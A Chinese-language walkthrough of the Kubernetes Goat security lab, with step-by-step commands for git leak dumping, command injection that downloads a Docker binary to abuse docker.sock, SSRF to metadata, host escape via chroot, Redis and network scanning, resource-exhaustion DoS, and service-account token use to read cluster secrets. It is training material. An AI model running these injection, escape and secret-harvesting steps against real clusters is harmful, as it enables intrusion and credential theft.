练练手练练手
1.代码库敏感密钥-Sensitive keys in codebases
访问1230端口。
告诉我们这是一个代码构建服务，我们可以测试是否存在git泄露
使用gobuster爆破目录，找到/.git/HEAD
使用git-dumper下载源码
python3 git_dumper.py http://39.100.101.183:1230/.git ./webre
查看日志和以前的提交历史来验证 git 历史和信息
git log
查看d7c173ad183c574109cd5c4c648ffe551755b576commit
git checkout d7c173ad183c574109cd5c4c648ffe551755b576
查看目录，找到.env文件，发现AWS密钥
2.Docker-in-Docker的漏洞利用-DIND (docker-in-docker) exploitation
访问1231端口
描述：大多数使用Docker并在管道构建容器的CI/CD和管道系统都使用称为DIND(docker-in-docker)的东西。简单来说就是在Docker容器中调用和执行宿主机的Docker。在此场景中，我们尝试利用并获得对宿主机系统的访问权限。
这是一个命令注入漏洞的页面
127.0.0.1&mount
/var/run/docker.sock是Docker守护进程(Docker daemon)默认监听的Unix域套接字(Unix domain socket)，假如被映射到容器内，那么我们就可以跟Docker daemon进行通信，从而执行一些命令
然后我们下载一个docker可执行程序，注入如下命令：
;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
解压缩：
;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/
然后就可以利用docker.sock来访问宿主机系统并在宿主机上执行docker命令
;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps
;/tmp/docker/docker -H unix:///custom/docker/docker.sock images
假如利用的话就是拉取指定的后门镜像并运行，运行过程中镜像将宿主机的根目录/挂载到容器内部的/host目录下，便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。
如果执行不了命令可以通过sh来查看对应端口，从而对应相应的pod
cat access-kubernetes-goat.sh
3.K8S中的 SSRF-SSRF in the Kubernetes (K8S) world
访问1232端口
场景描述：SSRF（服务器端请求伪造）漏洞是云原生环境的首选攻击方式。在此场景中，我们将学习如何利用应用程序中存在的SSRF漏洞的来访问云实例元数据以及内部服务元数据信息。
访问http://127.0.0.1:5000，告诉你访问http://metadata-db会有更多的信息。
访问http://metadata-db会访问latest路径
最后http://metadata-db/latest/secrets/kubernetes-goat会得到一个base64值
解码一下
echo 'azhzLWdvYXQtY2E5MGVmODVkYjdhNWFlZjAxOThkMDJmYjBkZjljYWI=' |base64 -d
k8s-goat-ca90ef85db7a5aef0198d02fb0df9cab
4.容器逃逸-Container escape to the host system
访问1233端口
场景描述：大多数监控、跟踪和调试软件需要以额外的权限和功能运行。在这个场景中，我们看到一个具有额外功能和权限(甚至包含HostPath)的Pod，它允许我们访问宿主机系统并提供节点级配置，这样会带来可以获取整个集群控制权限的危害。
查看当前环境的基本信息
id
ls -alt /
可以发现当前用户权限是root，系统是运行在docker 容器中。
通过mount查看挂载信息：
可以看到一个host-system的挂载，像是直接挂载的宿主机分区。查看里面的内容：
ls -alt /host-system
看起来像是把宿主机完整的系统都挂载进来了。
那么我们可以用chroot切换到宿主机的目录，获取对宿主机系统的权限访问
chroot /host-system bash
我们使用docker ps查看宿主机运行的容器
我们的目的是控制整个Kubernetes集群，查看Kubernets节点级配置文件：
cat /etc/kubernetes/kubelet.conf
然后我们可以利用配置文件获取集群内的所有资源
kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system
5.Docker CIS 安全基线分析-Docker CIS benchmarks analysis
场景描述：该场景主要是在 Kubernetes 节点之上进行 Docker CIS 基准分析，以识别可能存在的安全漏洞。
首先需要部署docker bench security将它启动为DaemonSet
kubectl apply -f scenarios/docker-bench-security/deployment.yaml
访问docker-bench-security-xxxxx pod 并执行Docker CIS基线测试脚本。
kubectl get pods
kubectl exec -it docker-bench-security-xxxxx -- sh
cd docker-bench-security
./docker-bench-security.sh
其实上面的scenarios/docker-bench-security/deployment.yaml是将一些宿主机目录映射到容器中，从而执行的检查。
6.Kubernetes CIS 安全基线分析-Kubernetes CIS benchmarks analysis
场景描述：本场景主要是在Kubernetes节点之上进行Kubernetes CIS基线分析，识别可能存在的安全漏洞
首先，我们在节点上部署kube-bench security为Kubernetes job
kubectl apply -f scenarios/kube-bench-security/node-job.yaml
kubectl apply -f scenarios/kube-bench-security/master-job.yaml
然后获取pod信息和查看jobs列表
kubectl get pods
kubectl get jobs
查看kube-bench-node-xxxxx pod 的日志，可以看到K8S基线情况。
kubectl logs kube-bench-node-xxxxx
然后，可以根据 Kubernetes CIS 安全基线测试中看到的漏洞进行进一步的利用。
7.攻击私有仓库-Attacking private registry
访问1235端口
场景描述：容器仓库是存储所有容器镜像的地方。大多数情况下，每个组织都有自己的私有仓库。有时候会因为配置错误，导致仓库处于公共/开放状态。另一方面来说，开发人员因为使用内部私有仓库，可能会在在容器镜像中存储一些敏感信息。
因为这里已经设置好了私有仓库的端口，我们直接访问即可，如果是实际的安全测试中，需要进行扫描或者信息收集来确定私有仓库的地址和端口。
通过访问/v2/_catalog可以获取所有repositories
访问：http://192.168.32.130:1235/v2/_catalog，查看docker仓库信息
获取madhuakula/k8s-goat-users-repo镜像信息
curl http://39.100.101.183:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest
查看环境变量，找到API_KEY。
8.NodePort暴露服务-NodePort exposed services
场景描述：NodePort是Kubernetes的三种外部访问方式之一。NodePort在集群中的主机节点上为Service提供一个代理端口，以允许从主机网络上对Service进行访问。
如果用户使用 NodePort 暴露了 Kubernetes 集群内的任何服务，这意味着如果运行 Kubernetes 集群的节点没有启用任何防火墙/网络安全策略。一些未经身份验证和未经授权的服务会被暴露和利用。
获取Kubernetes节点外部IP地址列表，因为这里是实验测试环境的原因，所以 EXTERNAL-IP显示为<none>
这里是本地搭建的，没有公网ip，所以也就没有外部IP——EXTERNAL-IP
kubectl get nodes -o wide
默认情况下，NodePort的端口范围是30000-32767。可以使用Nmap等扫描工具进行扫描和服务识别。
nmap 192.168.32.130 -sT -p30000-32767
9.Analyzing crypto miner container
场景描述：针对基础设施的挖矿攻击越来越流行。尤其是像 Kubernetes 这样的环境很容易成为目标，因为你甚至看不到容器镜像到底是基于什么构建的，以及它在主动监控方面做了什么。在此场景中，我们将分析和识别被植入挖矿软件的容器镜像。
首先，确定 Kubernetes 集群中的所有资源/镜像和包括作业。
kubectl get jobs
标识Kubernetes群集内的所有资源。尽可能详细了解集群内所有节点中可用的每个容器镜像的详细信息。
一旦我们确定了在Kubernetes集群中运行的作业，就可以通过运行以下命令来获取Pod信息。
kubectl describe jobs batch-check-job
获取pods信息：
kubectl get pods --namespace default -l "job-name=batch-check-job"
获取pod信息manifest并分析：
kubectl get pod batch-check-job-xxxx -o yaml
kubectl get pod batch-check-job-xxxx -o yaml | grep image
可以看到Docker镜像名称是madhuakula/k8s-goat-batch-check
我们可以通过docker history查看image每一层所执行的命令，--no-trunc是不要截断输出 (下面这个需要在node执行，因为只有在node有这个镜像)
docker history --no-trunc madhuakula/k8s-goat-batch-check
10.绕过Kubernetes命名空间-Kubernetes namespaces bypass
场景描述：默认情况下，Kubernetes 使用平行网络架构，这意味着集群中的任何 pod/service都可以与其他 pod/service 通信。默认情况下，集群内的命名空间没有任何网络安全限制。命名空间中的任何容器都可以与其他命名空间通信。我们听说 Kubernetes-Goat喜欢缓存。让我们看看我们是否可以访问其他命名空间。
首先运行以下命令，创建一个名为hacker-container的容器：
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
收集集群IP信息：
ip route
ip a show
printenv
hostname -I
先编辑vi /etc/zmap/blacklist.conf，注释里面的10.0.0.0/8这一行，不然不能扫描
基于对系统的分析/理解，尝试使用nmap扫描集群内的redis服务信息：
nmap -sT -open -p 6379 10.244.0.0/16
使用redis-cli进行连接
~ # redis-cli -h 10.244.0.4
10.244.0.4:6379> KEYS *
1) "SECRETSTUFF"
10.244.0.4:6379> GET SECRETSTUFF
"k8s-goat-a5a3e446faafa9d0514b3ff396ab8a40"
10.244.0.4:6379> info
# Server
redis_version:6.2.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:cb272b3d306eba57
redis_mode:standalone
os:Linux 5.4.0-153-generic x86_64
arch_bits:64
monotonic_clock:POSIX clock_gettime
这其实在现实中就是redis未授权访问，Redis服务器假如以root身份运行，黑客就能够给root账户写入SSH公钥文件，然后直接通过SSH登录目标受害的服务器
集群内还有许多其他的服务和资源，比如ElasticSearch，Mongo等等。所以，如果你的侦察技术很好，那么你可以在这里找到很多有价值的东西。
11.获取环境信息-Gaining environment information
场景描述：Kubernetes 中的每个环境都会有很多信息要共享。包括Secrets、API Keys、配置、服务等等关键内容。
通过/proc/self/cgroup 文件可以获取到docker容器的id
id
cat /proc/self/cgroup 获取到docker容器的id
cat /etc/hosts
mount
ls -la /home/
printenv/env
获取环境变量，包括 Kubernetes Secret 的 K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3 和服务名称、端口等。
12.针对环境的DoS风险-DoS the Memory/CPU resources
场景描述：如果Kubernetes 资源清单中没有规范，也没有为容器应用限制范围。作为攻击者，我们可以消耗 pod/deployment 运行的所有资源，并饿死其他资源，从而对环境造成 DoS攻击。
这里使用stress-ng压力测试程序来测试
先看看初始资源占用情况，cpu是0，内存是不超过10M
docker stats --no-stream
执行下面命令进行压力测试
stress-ng --vm 8 --vm-bytes 16G --timeout 60s
–vm是启动8个worker去匿名mmap，–vm-bytes是每个worker分配的内存，但是我设置2G发现16内存没用满，只用了2-3G，所以索性改为16G，最后–timeout就是压力测试60s后停止
在node执行docker stats，到后面直接就获取不了
这样可能会使其他pod可能无法获得执行的资源，无法处理用户请求或者超级卡顿，假如是自己的服务器可能消耗更多的电费，假如是云服务则可能需要支付更加昂贵的账单。
13.黑客容器预览-Hacker container preview
场景描述：这个场景只是对Kubernetes集群环境中的常见安全实用程序的探索。在之前你可能已经多次使用过hacker-container了。
kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
Hacker Container是一个实用工具，其中包含黑客入侵Kubernetes集群时可能会用的工具/命令列表。因此，你可以使用它对 Kubernetes 环境进行自由探索。在这里，我们介绍一些强大的实用程序。
容器自检实用程序，用于获取系统功能的概述、评估容器的权限等信息。
amicontained
使用nikto针对web漏洞扫描，但是效果看着不怎么样
nikto.pl -host http://metadata-db
还有许多其他程序。为了最大限度地利用hacker-container，我们可以使用主机特权、卷、进程等等。
14.隐藏在镜像层中的信息-Hidden in layers
场景描述：敏感信息泄露是普遍存在的最常见漏洞之一。在容器化世界中，密码、私钥、令牌等很容易被错误处理。此场景下，我们将分析和识别导致敏感信息泄露等此类处理不当的不良做法之一。
作者设计了一个hidden-in-layers的jobs
kubectl get jobs
kubectl describe jobs hidden-in-layers 查看image镜像
kubectl get pods --namespace default -l "job-name=hidden-in-layers"
kubectl get pods hidden-in-layers-bsvv9 -o yaml 查看image镜像
进入node节点，使用docker cli分析镜像信息
docker inspect madhuakula/k8s-goat-hidden-in-layers
15.RBAC最低权限配置错误-RBAC least privileges misconfiguration
访问1236端口
场景描述：在现实世界中，经常看到开发人员和 devops 团队往往会提供超出需求的额外权限。这种情况发生时，攻击者获得了比他们预期的更多的控制权和特权。在此场景中，你可以利用绑定到 pod 的 serviceaccount 提供的 webhookapikey 访问权限。但这也会让攻击者可以控制和获取敏感资源。获得对 vaultapikey 的访问权限。
此部署具有映射了过度许可策略/访问权限的自定义服务帐户。作为攻击者，我们可以利用这一点来访问其他资源和服务。
由于Kubernetes默认情况下将所有secrets、tokens和service accounts信息都存储在一个固定的目录。
直接访问这个目录，查找敏感的信息：
cd /var/run/secrets/kubernetes.io/serviceaccount/
ls -la
现在我们可以使用这些信息与 Kubernetes API 服务进行交互，该服务具有对令牌的可用权限和特权。
指向内部 API 服务器主机名：
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
读取 pods namespace 并将其设置为变量。namespace应该是 big-monolith，如果它是default，你需要将 Kubernetes-goat 更新到最新版本（github.com/madhuakula/…）
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
指定读取ServiceAccount持有者令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
指定在cURL请求查询时要使用的证书路径
export CACERT=${SERVICEACCOUNT}/ca.crt
然后就可以使用令牌和构造的查询来访问 Kubernetes API了
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api
查询default命名空间中的secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets
查询特定命名空间的secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
查询特定命名空间中的pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
因为 Kubernetes 本身是利用 API 服务来创建、删除 pod 等操作的，所以你可以尝试并利用所有可能的 Kubernetes 操作。
获取 k8svaultapikey
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
解密看看:
echo "azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U=" | base64 -d
16.利用KubeAudit 审计 Kubernetes 集群-KubeAudit - Audit Kubernetes clusters
场景描述：本场景主要针对Kubernetes集群的各种不同安全问题进行审计。
kubeaudit 是一个命令行工具和一个 Go 包，用于审计 Kubernetes 集群的各种安全问题。
要开始使用此方案，您可以运行以下命令以使用集群管理员权限启动黑客容器
kubectl run -n kube-system --rm --restart=Never -it --image=madhuakula/hacker-container -- bash
下载kubeaudit
wget https://github.com/Shopify/kubeaudit/releases/download/v0.21.0/kubeaudit_0.21.0_linux_amd64.tar.gz
执行审计
kubeaudit all
参考
madhuakulaHistory
- Created 2024-10-21 00:14
- Published 2024-05-18 23:24
- Updated 2024-10-21 00:56
